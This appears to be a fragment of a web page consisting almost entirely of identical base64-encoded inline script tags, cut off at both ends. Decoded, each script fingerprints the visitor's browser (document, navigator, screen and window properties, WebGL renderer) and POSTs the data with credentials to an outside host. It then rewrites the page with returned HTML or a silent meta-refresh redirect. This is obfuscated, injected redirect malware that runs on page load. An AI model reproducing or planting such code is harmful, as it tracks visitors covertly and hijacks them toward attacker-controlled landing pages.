htKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUk